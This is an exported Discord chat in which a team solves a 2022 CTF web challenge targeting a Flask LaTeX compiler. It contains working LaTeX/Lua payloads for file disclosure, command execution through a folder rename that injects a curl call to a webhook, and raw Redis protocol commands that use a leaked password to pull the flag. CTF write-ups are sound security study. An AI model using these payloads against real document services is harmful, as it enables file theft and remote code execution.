Guild icon
Project Sekai
🔒 GDG Algiers CTF 2022 / 🩸-web-lay-lowah
Avatar
Lay Low'ah - 500 points
Category: Web Description: > I don't want to use OverLeaf anymore, so I implemented my own LaTeX compiler
I found a lot of linux latex compilers and I chose an awesome one, it lets me script a lot of thing. I also optimized it so that if you send the same latex text twice it won't take the same amount of time, you can check it out.
PS : It's a Flask app. Author : m0kr4n3 Files: No files. Tags: No tags.
Sutx pinned a message to this channel. 10/08/2022 11:01 AM
Avatar
@crazyman ai wants to collaborate 🤝
11:04
@jayden wants to collaborate 🤝
Avatar
@strellic wants to collaborate 🤝
Avatar
@zwx风信 wants to collaborate 🤝
13:47
@irogir wants to collaborate 🤝
Avatar
that one doesnt error out \documentclass[11pt,a4paper]{article} \usepackage{verbatim} \begin{document} \section{Flag} \directlua{os.execute("/bin/cat /flag.txt")} \end{document} but nothing so far
Avatar
i leaked the app.py
14:17
#!/usr/bin/python3 from flask import Flask, request, render_template, redirect, url_for, make_response from utils import PDF, remove_pdfs, make_cache_key from flask_caching import Cache, CachedResponse app = Flask(__name__) app.config.from_object('config.BaseConfig') cache = Cache(app) @app.route("/", methods=["GET", "HEAD"]) def root(): return redirect(url_for("compile")) @app.route("/compile", methods=["GET", "POST", "HEAD"]) @cache.cached(timeout=30, key_prefix=make_cache_key) def compile(): pdf = None if request.method == "GET": return render_template("./compile.html", pdf=pdf) elif request.method == "POST": latex_text = request.form.get("latex_text") try: pdf = PDF(latex_text).generate_pdf() if pdf is not None: result = "Compiled successfully!" return CachedResponse( response=make_response( render_template( "./compile.html", result=result, pdf=pdf ) ) ,timeout=50, ) else: raise Exception("") except Exception as e: print(e) result = "something is going wrong" pdf = None return render_template("./compile.html", result=result, pdf=pdf) else: return render_template("./compile.html")
14:17
\documentclass{article} \usepackage{verbatim} \begin{document} \verbatiminput{app.py} \end{document}
14:19
#utils.py import random, os import pathlib import shutil from flask import request from urllib import parse as urllib class PDF: def __init__(self, latex_text) -> None: self.latex_text = latex_text self.pdf_file = self.generate_pdf() def generate_pdf(self): rand_numb = str(random.randint(1, 10 ** 15)) output_dir = f"./static/output/{hex(int(rand_numb))[2:]}" os.system(f"mkdir {output_dir}") with open(f"{output_dir}/latex.tex", 'w') as w: w.write(self.latex_text) if os.path.exists(f"{output_dir}/latex.tex"): os.system(f"lualatex --halt-on-error --output-directory {output_dir}/ {output_dir}/latex.tex") else: print("not found") pdf_file = f"{output_dir}/latex.pdf" if os.path.exists(pdf_file): return pdf_file else: return None def remove_pdfs(): output_dir = "./static/output/" for d in os.listdir(output_dir): if pathlib.Path(f"{output_dir}{d}").is_dir(): pdf_dir = pathlib.Path("static/output", d) shutil.rmtree(pdf_dir) def make_cache_key(): args = request.form key = request.path + '?' + urllib.urlencode([ (k, v) for k in sorted(args) for v in sorted(args.getlist(k)) ]) return ke
Avatar
good job, wondering why it didnt show up in my case 🤔
14:19
can you only do relative files?
Avatar
yep
Avatar
hm okay
Avatar
this part will be always the same
Avatar
Avatar
irogir
that one doesnt error out \documentclass[11pt,a4paper]{article} \usepackage{verbatim} \begin{document} \section{Flag} \directlua{os.execute("/bin/cat /flag.txt")} \end{document} but nothing so far
any idea why directlua doesnt work? (edited)
Avatar
actually no
14:38
😦
14:38
14:39
so the app doesnt like slashes
Avatar
actually no
15:55
slashes aren't a problem
Avatar
yeah i noticed too, ./ prefix works as well
Avatar
i was trying payloads like /flag.txt and common files like /etc/passwd
Avatar
idk
15:57
why
15:57
its not working
Avatar
\documentclass{article} \usepackage{verbatim} \begin{document} \verbatiminput{../../../../../../etc/passwd} \end{document}
Avatar
but there will be a reason they used luatex
Avatar
i tried this locally and it did give me a pdf
15:58
yeah
Avatar
actually just /etc/passwd should work too
Avatar
yeah i tried
Avatar
desc mentions a custom latex compiler
Avatar
nah
15:59
os.system(f"lualatex --halt-on-error --output-directory {output_dir}/ {output_dir}/latex.tex")
Avatar
yeah, i dont understand the desc in this context
Avatar
saaadge
Avatar
reading lua tutorials lemonthink
Avatar
lua not 🍋
Avatar
i guess
17:30
i got it
17:30
i mean
17:30
i have an idea
17:31
// we can execute command on the systems via popen or execute .. in out case we a sink
17:31
\documentclass{article} \usepackage{luacode} \usepackage{luapackageloader} \begin{document} \begin{luacode} tex.print(os.rename('static','; curl https://webhook.site/5658b58c-866b-4e99-8422-22ac6d3a231e #')) \end{luacode} \end{document}
17:32
we can rename a folder with our cmd
17:33
output_dir = f"./static/output/{hex(int(rand_numb))[2:]}" os.system(f"mkdir {output_dir}") with open(f"{output_dir}/latex.tex", 'w') as w: w.write(self.latex_text) if os.path.exists(f"{output_dir}/latex.tex"): os.system(f"lualatex --halt-on-error --output-directory {output_dir}/ {output_dir}/latex.tex")
Avatar
@Violin wants to collaborate 🤝
Avatar
@TheBadGod wants to collaborate 🤝
Avatar
dumped all the payloads lmao
236.61 KB
00:56
81 pages of stuff
00:57
but where flag
Avatar
config.py import os URL = ”http://localhost:8000” class BaseConfig(object): CACHE_TYPE = os.environ[’CACHE_TYPE’] CACHE_REDIS_HOST = os.environ[’CACHE_REDIS_HOST’] CACHE_REDIS_PORT = os.environ[’CACHE_REDIS_PORT’] CACHE_REDIS_DB = os.environ[’CACHE_REDIS_DB’] CACHE_REDIS_URL = os.environ[’CACHE_REDIS_URL’] CACHE_DEFAULT_TIMEOUT = os.environ[’CACHE_DEFAULT_TIMEOUT’] # os.system(’lua /ctf/insert_flag.lua’) # os.system(’rm /ctf/insert_flag.lua’) (edited)
01:13
i guess we need to write some sort of redis client in lua?
01:13
A Lua client library for the redis key value storage system. - GitHub - nrk/redis-lua: A Lua client library for the redis key value storage system.
01:15
we can just os os.env[key] to get all the stuff we need
01:15
but this is the redis url just in case:redis://:JtmvalTXG91siKBIrCxmsDfXNfkl8Gck@cache:6379/0
Avatar
😦 am lost now
Avatar
pretty sure the flag is in the db
01:27
we can just dump the db (probably) using a tcp conn
Avatar
Am wondering why i cant get the rce ://
01:32
Like somehow we need to get something via redis
01:32
I think hes using the redis just for caching
Avatar
where else would the flag be then lmao
Avatar
In the fs
Avatar
no
01:33
i looked there
01:33
os.dir to ls and io.lines to read files
Avatar
Avatar
TheBadGod
os.dir to ls and io.lines to read files
Nothing was there ?
Avatar
no
Avatar
Avatar
TheBadGod
dumped all the payloads lmao
this is all the latex files and i also looked for flag.txt and flag
01:35
function dump_tex(path) for line in io.lines(path) do tex.write(line) tex.print("\\\\") end end function dump_dir(path) for p in lfs.dir(path) do tex.write(path .. "/" .. p) tex.print("\\\\") end end --status, err = pcall(function() dump_dir("/ctf/app") end) --tex.write(err) --status, err = pcall(function() dump_tex("/ctf/app/wsgi.py") end) --tex.write(err) here some lua code to dump stuff
Avatar
Hmmmmm
01:38
So now we want to enumerate the redis
Avatar
got auth working
02:02
now how to dump
Avatar
Avatar
TheBadGod
used /ctf
🩸 Well done, you got first blood!
Avatar
\documentclass{article} \usepackage{luacode} \usepackage{luapackageloader} \begin{document} -start \begin{luacode*} host = os.env["CACHE_REDIS_HOST"] port = os.env["CACHE_REDIS_PORT"] socket = socket.tcp() local ok, err = socket:connect(host, tonumber(port)) socket:send("*2\r\n$4\r\nAUTH\r\n$32\r\nJtmvalTXG91siKBIrCxmsDfXNfkl8Gck\r\n") line, err = socket:receive(3) tex.write(line) socket:send("*2\r\n$3\r\nGET\r\n$4\r\nFLAG\r\n") line, err = socket:receive(7) tex.write(line) line, err = socket:receive(41) tex.write(line) \end{luacode*} -end \end{document}
Avatar
damn gj
Exported 86 message(s)